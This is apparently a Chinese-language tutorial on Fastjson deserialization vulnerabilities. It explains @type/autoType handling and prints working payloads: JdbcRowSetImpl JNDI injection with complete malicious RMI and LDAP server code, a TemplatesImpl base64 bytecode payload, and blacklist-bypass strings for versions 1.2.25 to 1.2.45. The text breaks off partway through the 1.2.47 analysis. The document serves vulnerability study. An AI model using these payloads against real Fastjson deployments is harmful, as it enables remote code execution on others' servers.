Fastjson

FastJson简介

Fastjson是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Object 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Object。
Fastjson提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作。

  • JSON.toJSONString
  • JSON.parseObject/JSON.parse

FastJson的简单使用

对于Fastjson来讲,并不是所有的Java对象都能被转为JSON,只有Java Bean格式的对象才能Fastjson被转为JSON。
首先先在pom.xml里导入fastjson的依赖

<dependency>    
 <groupId>com.alibaba</groupId>    
 <artifactId>fastjson</artifactId>    
 <version>1.2.24</version>    
</dependency>

定义一个person类

package fastjson;  
  
public class person {  
    public int age;  
    public String name;  
  
    public String getName() {  
        return name;  
    }  
  
    public void setName(String name) {  
        this.name = name;  
    }  
  
    public void setAge(int age) {  
        this.age = age;  
    }  
  
    public int getAge() {  
        return age;  
    }  
}

可以使用Alt+insert快捷键生成java bean
Fastjson中用于序列化和反序列化的方法如下

//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

下面简单测试

package fastjson;  
  
  
import com.alibaba.fastjson.JSON;  
  
public class FastJson_Learn {  
    public static void main(String[] args) {  
        //创建一个java bean对象  
        Person person = new Person();  
        person.setAge(18);  
        person.setName("Xin");  
  
        System.out.println("----------序列化----------");  
  
        //将其序列化成JSON并输出  
        String JSON_Serialize = JSON.toJSONString(person);  
        System.out.println(JSON_Serialize);  
  
        System.out.println("----------反序列化----------");  
  
        //使用parse方法,将JSON反序列化为一个JSONObject  
        Object o1 = JSON.parse(JSON_Serialize);  
        System.out.println(o1.getClass().getName());  
        System.out.println(o1);  
  
        System.out.println("----------反序列化----------");  
  
        //使用parseObject方法,把JSON反序列化为一个JSONObject  
        Object o2 = JSON.parseObject(JSON_Serialize);  
        System.out.println(o2.getClass().getName());  
        System.out.println(o2);  
  
        System.out.println("----------反序列化----------");  
  
        //使用parseObject方法,并指定类,将JSON反序列化为一个指定的类对象  
        Object o3 = JSON.parseObject(JSON_Serialize,Person.class);  
        System.out.println(o3.getClass().getName());  
        System.out.println(o3);  
    }  
}

输出结果

----------序列化----------
{"age":18,"name":"Xin"}
----------反序列化----------
com.alibaba.fastjson.JSONObject
{"name":"Xin","age":18}
----------反序列化----------
com.alibaba.fastjson.JSONObject
{"name":"Xin","age":18}
----------反序列化----------
fastjson.Person
fastjson.Person@61e4705b

可以看到,如果我们反序列化时不指定特定的类,那么Fastjosn就默认将一个JSON字符串反序列化为一个JSONObject。反序列化运行时不可以获取类中私有属性的值,如果要还原出 private 的属性的话,还需要在JSON.parseObject/JSON.parse中加上Feature.SupportNonPublicField参数。(如果私有属性有setter方法的话不会有影响,但是一般私有属性不会有setter方法的,加了就没必要声明为private了)

public class FastJson_Learn {  
    public static void main(String[] args) {  
        // 带有私有属性 passwd 的 JSON 字符串  
        String jsonStr = "{\"@type\":\"fastjson.Person\",\"age\":18,\"name\":\"Faster\",\"passwd\":\"12345\"}";  
  
        System.out.println("--- 实验 1:不加任何参数(默认行为) ---");  
        try {  
            // 不加 Feature.SupportNonPublicField            
            Person p1 = (Person) JSON.parse(jsonStr);  
            System.out.println("反序列化结果 -> " + p1);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
  
        System.out.println("\n--- 实验 2:加入 SupportNonPublicField 参数(暴力破限) ---");  
        try {  
            // 核心:加上 Feature.SupportNonPublicField            
            Person p2 = (Person) JSON.parse(jsonStr, Feature.SupportNonPublicField);  
            System.out.println("反序列化结果 -> " + p2);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}

执行结果

--- 实验 1:不加任何参数(默认行为) ---
调用了构造函数
调用了setAge方法
调用了setName方法
反序列化结果 -> Person{age=18, name='Faster', passwd='null'}

--- 实验 2:加入 SupportNonPublicField 参数(暴力破限) ---
调用了构造函数
调用了setAge方法
调用了setName方法
反序列化结果 -> Person{age=18, name='Faster', passwd='12345'}

这样就可以读到私有属性的值。

FastJson中的@type

当我们在使用Fastjson序列化对象的时候,如果toJSONString()方法不添加额外的属性,那么就会将一个Java Bean转换成JSON字符串。例如{"age":18,"name":"Xin","passwd":"123456"}
如果我们想把JSON字符串反序列化成Java Object,可以使用parse()方法。该方法默认将JSON字符串反序列化为一个JSONObject对象。例如{"passwd":"123456","name":"Xin","age":18}
有两种方法可以将JSON字符串反序列化成原始的类
一个就是刚才用的在反序列化的时候,在parseObject()方法中手动指定对象的类型

Object o3 = JSON.parseObject(JSON_Serialize,Person.class);  
System.out.println(o3.getClass().getName());  
System.out.println(o3);

结果

fastjson.Person
fastjson.Person@108c4c35

还有一种方法就是序列化的时候,在toJSONString()方法中添加额外的属性SerializerFeature._WriteClassName_,将对象类型一并序列化,如下所示

String JSON_Serialize = JSON.toJSONString(person, SerializerFeature.WriteClassName);  
System.out.println(JSON_Serialize);

结果如下,Fastjson在JSON字符串中添加了一个@type字段,用于标识对象所属的类。

{"@type":"fastjson.Person","age":18,"name":"Xin","passwd":"123456"}

在反序列化该JSON字符串的时候,parse()方法就会根据@type标识将其转为原来的类。

String JSON_Serialize1 = "{\"@type\":\"Person\",\"age\":18,\"name\":\"Faster\"}";  
System.out.println(JSON.parse(JSON_Serialize1));

结果如下

Person@4bf558aa

fastjson序列化用的是toJSONString()函数,反序列化用的是parse()或者parseObject()函数,parse()会自动调用setter函数,parseObject()会自动调用setter和getter函数
@type可以标识对象所属的类,如果标识的类里面的setter或者getter方法有恶意逻辑,就可以命令执行

FastJson调用流程简单分析

序列化

我通过toJSONString()方法能够将一个Java对象序列化为JSON字符串,我们简单调试一下,在setter和getter加上输出。

public class FastJson_Learn {  
    public static void main(String[] args) {  
        Person person = new Person();  
        System.out.println("----------序列化----------");  
        String JSON_Serialize = JSON.toJSONString(person);  
    }  
}

结果如下

----------序列化----------
调用了getAge方法
调用了getName方法
调用了getpasswd方法

可以看到toJSONString()方法实际是通过调用getter来获取对象属性值的,进而根据这些属性值生成JSON字符串。

反序列化

下面我们来重点关注一下parse()方法是如何将一个JSON字符串反序列化为一个JSONObject对象的
parseObject()只是对于parse()做了封装,判断返回的对象是否为JSONObject实例并强转为JSONObject类。

public static JSONObject parseObject(String text) {  
    Object obj = parse(text);  
    if (obj instanceof JSONObject) {  
        return (JSONObject) obj;  
    }  
  
    return (JSONObject) JSON.toJSON(obj);  
}

下面我们来测试一下,首先不使用@type标识

String JSON_Serialize1 = "{\"age\":18,\"name\":\"Faster\"}";  
System.out.println(JSON.parse(JSON_Serialize1));

结果如下

{"name":"Faster","age":18}

由于没有指定对象所属的类,Fastjson只是默认将JSON反序列化为了JSONObject。
下面我们再来看看加上@type标识的情况,这里我们使用parse()方法反序列化

public class FastJson_Learn {  
    public static void main(String[] args) {  
        String JSON_Serialize1 = "{\"@type\":\"fastjson.Person\",\"age\":18,\"name\":\"Faster\",\"passwd\":\"123456\"}";  
        JSON.parse(JSON_Serialize1);  
    }  
}

结果如下

调用了构造函数
调用了setAge方法
调用了setName方法
调用了setpasswd方法

可以推测出在反序列化过程中,会parse()先调用@type标识的类的构造函数,然后再调用setter给对象赋值。
而parseObject()方法会同时调用setter和getter

String JSON_Serialize1 = "{\"@type\":\"fastjson.Person\",\"age\":18,\"name\":\"Faster\",\"passwd\":\"123456\"}";  
System.out.println(JSON.parseObject(JSON_Serialize1));

结果入下

调用了构造函数
调用了setAge方法
调用了setName方法
调用了setpasswd方法
调用了getAge方法
调用了getName方法
调用了getpasswd方法
{"passwd":"123456","name":"Faster","age":18}

可以看见parseObject()方法返回的是一个JSON Object对象,因为该方法实际上是调用parse()方法,然后调用toJSON()方法将返回值强转为JSON Object。
所以这里调用setter的实际上是parse()方法,调用getter的是toJSON()方法。
如果我们不使用@type,而是在parseObject()中手动指定类

String JSON_Serialize1 = "{\"age\":18,\"name\":\"Faster\",\"passwd\":\"123456\"}";  
System.out.println(JSON.parseObject(JSON_Serialize1,Person.class));

调用setter,返回指定类对象

调用了构造函数
调用了setAge方法
调用了setName方法
调用了setpasswd方法
fastjson.Person@2cdf8d8a

源码分析

DefaultJSONParser#parseObject方法中,通过scanSymbol()方法来解析出表示符@type

key = lexer.scanSymbol(symbolTable, '"');  
lexer.skipWhitespace();

接着通过反射加载@type指向的com.sun.rowset.JdbcRowSetImpl

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {  
    String typeName = lexer.scanSymbol(symbolTable, '"');  
    Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

反射加载的类的时候会对类进行黑名单检查,黑名单中只有Thread类
在反序列化类的时候会一步步判断,然后根据类来生成不同的deserializer。但是我们的JdbcRowSetImpl类并不在其中,所以会调用createJavaBeanDeserializer()方法生成一个deserializer

跟进,在JavaBeanInfo#build中会反射获取类的属性和方法
接着就会根据JSON字符串中的键值对来调用相应的setter。

Fastjson反序列化漏洞

根据上文的分析,在反序列化时,parse触发了set方法,parseObject同时触发了set和get方法,由于存在这种autoType特性。如果@type标识的类中的setter或getter方法存在恶意代码,那么就有可能存在fastjson反序列化漏洞。

demo

Calc.java

package fastjson;  
  
import java.io.IOException;  
import java.security.PublicKey;  
  
public class Calc {  
    public String calc;  
    public Calc(){  
        System.out.println("调用了构造函数");  
    }  
    public String getCalc(){  
        System.out.println("调用了getCalc");  
        return calc;  
    }  
    public void setCalc(String calc) throws IOException {  
        this.calc = calc;  
        Runtime.getRuntime().exec("calc");  
        System.out.println("调用了setter");  
    }  
}

FastJson_Learn.java

public class FastJson_Learn {  
    public static void main(String[] args) {  
        String JSON_Calc = "{\"@type\":\"fastjson.Calc\",\"calc\":\"Faster\"}";  
        System.out.println(JSON.parseObject(JSON_Calc));  
    }  
}


成功执行了setter中的恶意代码。因此,只要我们能找到一个合适的Java Bean,其setter或getter存在可控参数,则有可能造成任意命令执行。

Fastjson <=1.2.24

我们先来看最开始的漏洞版本是<=1.2.24,在这个版本前是默认支持@type这个属性的
这个版本的fastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以结合JNDI的攻击手法进行利用。是通用性最强的利用方式,在以下三种反序列化中均可使用,JDK版本限制和JNDI类似。

parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

RMI+JNDI
JDK版本为JDK8u_65
受害客户端 Fastjson_Jdbc_RMI.java

package fastjson;  
  
import com.alibaba.fastjson.JSON;  
  
public class Fastjson_Jdbc_RMI {  
    public static void main(String[] args) {  
        String payload = "{"+  
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","+  
                "\"dataSourceName\":\"rmi://127.0.0.1:1099/hello\","+  
                "\"autoCommit\":true"+  
                "}";  
        JSON.parse(payload);  
    }  
}

恶意RMI服务端 RMI_Server_Reference.java

package fastjson;  
  
import com.sun.jndi.rmi.registry.ReferenceWrapper;  
  
  
import javax.naming.Reference;  
import java.rmi.Naming;  
import java.rmi.registry.LocateRegistry;  
  
public class RMI_Server_Reference {  
    void register() throws Exception{  
        LocateRegistry.createRegistry(1099);  
        Reference reference = new Reference("RMIHello","RMIHello","http://127.0.0.1:8888/");  
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);  
        Naming.bind("rmi://127.0.0.1:1099/hello",refObjWrapper);  
        System.out.println("Registry运行中......");  
    }  
  
    public static void main(String[] args) throws Exception {  
        new RMI_Server_Reference().register();  
    }  
}

先运行恶意RMI服务端,再编译一个恶意的RMIHello.class文件用python起一个httpserver服务,监听8888端口。
再运行客户端就可以命令执行。

利用链分析
问题出在JdbcRowSetImpl#setDataSourceNameJdbcRowSetImpl#setAutoCommit方法中存在可控的参数
setDataSourceName()方法会设置dataSource的值
setAutoCommit()会调用Connect()方法。所以这里AutoCommit的值其实没有用到
这里lookup()方法的参数正是dataSource,我们可以将dataSource控制为我们想要的服务地址。
触发链

  • Fastjson 反序列化:当 Fastjson 解析 {"@type":"com.sun.rowset.JdbcRowSetImpl", ...} 时,通过 @type 指定了目标类。
  • 触发 Getter/Setter:Fastjson 会自动调用 setAutoCommit(true)
  • JNDI 触发:在 setAutoCommit 内部,会触发 javax.naming.InitialContext.lookup(dataSourceName)
  • 远程加载:由于 dataSourceName 是 RMI 协议,客户端去连接 RMI 注册表。注册表返回了一个 Reference 对象,指示客户端去 http://127.0.0.1:8888/ 下载 RMIHello 类。
  • 代码执行:客户端下载了 RMIHello.class 并通过 URLClassLoader 实例化它,触发了里面的 static 静态代码块,从而执行了系统命令。
    简单来说就是JdbcRowSetImpl类中有一个 setDataSourceName() 方法和一个 setAutoCommit() 方法。当 setAutoCommit(true)被调用时,内部会触发lookup()JNDI查询,而DataSourceName被指定为攻击者的RMI或者LDAP恶意服务地址,剩下的就是访问恶意RMI或者LDAP服务,返回reference找到URL下载.class文件,加载触发RCE
    LDAP+JNDI
    我们只需要更改一下payload即可,受害客户端
package fastjson;  
  
import com.alibaba.fastjson.JSON;  
  
public class Fastjson_Jdbc_LDAP {  
    public static void main(String[] args) {  
        String payload = "{"+  
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","+  
                "\"dataSourceName\":\"ldap://127.0.0.1:9999/RMIHello\","+  
                "\"autoCommit\":true"+  
                "}";  
        JSON.parse(payload);  
    }  
}

LDAP服务器 LDAP_Server.java

package fastjson;  
  
import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  
import com.unboundid.ldap.listener.InMemoryListenerConfig;  
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  
import com.unboundid.ldap.sdk.Entry;  
import com.unboundid.ldap.sdk.LDAPException;  
import com.unboundid.ldap.sdk.LDAPResult;  
import com.unboundid.ldap.sdk.ResultCode;  
  
import javax.net.ServerSocketFactory;  
import javax.net.SocketFactory;  
import javax.net.ssl.SSLSocketFactory;  
import java.net.InetAddress;  
import java.net.MalformedURLException;  
import java.net.URL;  
  
public class LDAP_Server {  
  
    private static final String LDAP_BASE = "dc=example,dc=com";  
  
    public static void main ( String[] tmp_args ) {  
        String[] args=new String[]{"http://127.0.0.1:8888/#RMIHello"};  
        int port = 9999;  
  
        try {  
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);  
            config.setListenerConfigs(new InMemoryListenerConfig(  
                    "listen", //$NON-NLS-1$  
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$  
                    port,  
                    ServerSocketFactory.getDefault(),  
                    SocketFactory.getDefault(),  
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));  
  
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));  
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$  
            ds.startListening();  
  
        }  
        catch ( Exception e ) {  
            e.printStackTrace();  
        }  
    }  
  
    private static class OperationInterceptor extends InMemoryOperationInterceptor {  
  
        private URL codebase;  
  
        public OperationInterceptor ( URL cb ) {  
            this.codebase = cb;  
        }  
  
        @Override  
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {  
            String base = result.getRequest().getBaseDN();  
            Entry e = new Entry(base);  
            try {  
                sendResult(result, base, e);  
            }  
            catch ( Exception e1 ) {  
                e1.printStackTrace();  
            }  
        }  
  
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {  
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));  
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);  
            e.addAttribute("javaClassName", "foo");  
            String cbstring = this.codebase.toString();  
            int refPos = cbstring.indexOf('#');  
            if ( refPos > 0 ) {  
                cbstring = cbstring.substring(0, refPos);  
            }  
            e.addAttribute("javaCodeBase", cbstring);  
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$  
            e.addAttribute("javaFactory", this.codebase.getRef());  
            result.sendSearchEntry(e);  
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
        }  
    }  
}

原理与RMI类似,
JDK 引入了 com.sun.jndi.rmi.object.trustURLCodebase 属性,默认值改为了 false,那就不可以访问远程URL了,但是如果JDK ≤ JDK 8u191,依然可以用ldap,这个的com.sun.jndi.ldap.object.trustURLCodebase直到后面的版本才默认改为false。
触发流程和ldap类似。

TemplatesImpl利用链

Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

其实TemplatesImpl这条链在我们构造CC3的时候已经利用过了,原因是TemplatesImpl#getTransletInstance中调用了defineClass()进行动态类加载,而其中的构造参数我们容易控制,这就造成了一些反序列化漏洞。

但该链的利用面较窄,由于payload需要赋值的一些属性为private类型,需要在parse()反序列化时设置第二个参数Feature.SupportNonPublicField,服务端才能从JSON中恢复private类型的属性。

Fastjson_Temp.java

package fastjson;  
  
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.Feature;  
import com.alibaba.fastjson.parser.ParserConfig;  
  
public class Fastjson_Temp {  
    public static void main(String[] args) {  
        ParserConfig config = new ParserConfig();  
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";  
        JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);  
    }  
}

成功执行

源码分析
前面我们分析过,Fastjson在反序列化的时候,会自动调用类的getter和setter来为类的属性赋值。那么TemplatesImpl这条链又是怎样和Fastjson联系起来的呢?

对于TemplatesImpl链,我们的最终目标是调用defineClass()进行动态类加载。而该类中的getOutputProperties()方法能够最终走到defineClass(),并且格式也符合getter,下面我们简单的分析一下。

该方法调用了TemplatesImpl#newTransformer,跟进

继续跟进getTransletInstance()

跟进defineTransletClasses(),最终在该类中调用了defineClass()

根据上文的分析,我们的思路就很清晰了。构造一个TemplatesImpl类的JSON,并且将_outputProperties赋值,这样Fastjson在反序列化时就会调用getOutputProperties()方法了。

但在实际的payload构造过程中,还是有一些值得注意的地方的。
首先看getTransletInstance()方法
这里的限制如下

  • 属性_name的值不为null
  • 属性_class的值为null
    接着跟进到defineTransletClasses()方法,其中__bytecodes为我们传入的恶意字节码
    这里同样有两个限制
  • 这里调用了_tfactory.getExternalExtensionsMap(),也就是说_tfactory的值不为null
  • 加载的恶意类必须为AbstractTranslet类的子类
    这里还有一个小问题,我们传入的_bytecodes为bytes类型,而Fastjson在解析的时候会将bytes类型进行base64加密,解密的过程相反。所以这里我们需要将恶意类的字节码base64加密。
    payload格式
{
\"@type\":
\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",
\"_outputProperties\":{ },
'_name':'a.b',
'_tfactory':{ },
\"_bytecodes\":[\"base64\"]
}

其中恶意类为

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 
import java.io.IOException;
 
public class Payload extends AbstractTranslet {
 
    public Payload() throws IOException{
        Runtime.getRuntime().exec("calc");
    }
 
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 
    }
 
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
    }
 
    public static void main(String[] args) throws IOException {
        Payload payload = new Payload();
    }
}

编译为.class文件后进行base64加密即可。
简单来讲就是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类里有getOutputProperties符合getter格式,最终可以调用到defineClass,加载字节码触发命令执行
总之在这个版本是默认开启AutoType的,可以使用@type加载任意类,也没有任何黑白名单

高版本绕过

1.2.25-1.2.41绕过

我们先来看一看1.2.25是如何修复反序列化漏洞的
在1.2.24版本会直接加载@type指向的类,而1.2.25版本增加了对类的checkAutoType()检查,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数AutoTypeSupport
Fastjson默认AutoTypeSupport为False(默认开启白名单机制),需要通过服务端使用以下代码手动关闭,这一点是高版本一个难以绕过的地方。

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

可以看到在开启白名单的条件下无法加载到我们的利用类

在1.2.25-1.2.41里这个配置是无法绕过的,只有先在客户端的main方法配置上ParserConfig.getGlobalInstance().setAutoTypeSupport(true);才可以后续利用
这里我们修改autoTypeSupport=true
我们跟进TypeUtils#loadClass看一下

  • 如果以[开头则去掉[后进行类加载(在之前Fastjson已经判断过是否为数组了,实际走不到这一步)
  • 如果以L开头,以;结尾,则去掉开头和结尾进行类加载
    那么加上L开头和;结尾实际上就可以绕过所有黑名单。Payload如下
"{"+  
        "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","+  
        "\"dataSourceName\":\"ldap://127.0.0.1:9999/RMIHello\","+  
        "\"autoCommit\":true"+  
        "}";

成功执行

简单来说就是默认开启了白名单限制(autoTypeSupport = false),这个难以绕过,但是如果autoTypeSupport = true时,就是使用黑名单了,黑名单可以在类名前面加L类名后面加;,这样就可以绕过黑名单,不影响类加载

1.2.42绕过

1.2.42相较于之前的版本,关键是在ParserConfig.java中修改了以下两点

  • 黑名单改为了hash值,防止绕过
  • 对于传入的类名,删除开头L和结尾的;
    虽然说利用hash可以让我们不知道禁用了什么类,但是加密方式是有写com.alibaba.fastjson.parser.ParserConfig#addDeny中的com.alibaba.fastjson.util.TypeUtils#fnv1a_64,我们理论上可以遍历jar,字符串,类去碰撞得到这个hash的值。(因为常用的包是有限的)

但是可以发现在以上的处理中,只删除了一次开头的L和结尾的;,这里就好像使用黑名单预防SQL注入,只删除了一次敏感词汇的防御错误一样,双写就可以轻易的绕过。
payload

"{"+  
        "\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\","+  
        "\"dataSourceName\":\"ldap://127.0.0.1:9999/RMIHello\","+  
        "\"autoCommit\":true"+  
        "}";

成功执行

这个就是因为修复时把开头L和末尾;自动裁剪了,但是只删除了一次,依然可以双写绕过

1.2.43版本绕过

1.2.43版本修改了checkAutoType()的部分代码,对于LL等开头结尾的字符串直接抛出异常。

if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
 
                className = className.substring(1, className.length() - 1);
            }

我们可以通过[{绕过,Payload如下

"{"+  
        "\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,"+  
        "\"dataSourceName\":\"ldap://127.0.0.1:9999/RMIHello\","+  
        "\"autoCommit\":true"+  
        "}";

首先在恶意类前添加[,变成"[com.sun.rowset.JdbcRowSetImpl",会报错

exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/RMIHello","autoCommit":true}

根据提示在逗号前添加[,变成"[com.sun.rowset.JdbcRowSetImpl"[,仍报错

syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

继续在逗号前添加{,变成 "[com.sun.rowset.JdbcRowSetImpl"[{,成功执行

修复了,只要出现LL就会抛出错误,但是可以在恶意类前面加[末尾加[{来绕过,这是因为java把这个识别成数组,绕过黑名单,但是最终依然会正常解析

1.2.44修复

修复了对[的限制

1.2.45绕过

1.2.45版本添加了一些黑名单,但是存在组件漏洞,我们能通过mybatis组件进行JNDI接口调用,进而加载恶意类。

首先引入依赖

<dependency>
        <groupId>org.mybatis</groupId>
        <artifactId>mybatis</artifactId>
        <version>3.5.6</version>
</dependency>

Payload如下

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:9999/EXP"
    }
}

执行成功

1.2.47通杀绕过

该版本Payload能够绕过`checkAutoType`内的各种检测,原理是通过Fastjson自带的缓存机制将恶意类加载到Mapping中,从而绕过checkAutoType检测。

前半——将恶意类写入mapping缓存

查看checkAutoType()源码

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {  
    //前面是对typeName格式的各种检测,这里我们暂时跳过
  //开启autoTypeSupport,则进入白名单+黑名单检测
    if (autoTypeSupport || expectClass != null) {  
        long hash = h3;  
        for (int i = 3; i < className.length(); ++i) {  
            hash ^= className.charAt(i);  
            hash *= PRIME;  
            //白名单检测,这里无法绕过
            if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {  
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);  
                if (clazz != null) {  
                    return clazz;  
                }  
            }  
            //黑名单检测,这里有一个从Maping里寻找类名的判断,这是绕过的关键
            if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {  
                throw new JSONException("autoType is not support. " + typeName);  
            }  
        }  
    }  
  
    if (clazz == null) {  
    //从Maping缓冲中加载类
        clazz = TypeUtils.getClassFromMapping(typeName);  
    }  
  
    if (clazz == null) {  
    //从deserializer中加载类
        clazz = deserializers.findClass(typeName);  
    }  
  
    if (clazz != null) {  
        if (expectClass != null  
                && clazz != java.util.HashMap.class  
                && !expectClass.isAssignableFrom(clazz)) {  
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());  
        }  
  //通过上面两个方法加载类后返回
        return clazz;  
    }  
  //默认开启白名单的情况
    if (!autoTypeSupport) {  
        long hash = h3;  
        for (int i = 3; i < className.length(); ++i) {  
            char c = className.charAt(i);  
            hash ^= c;  
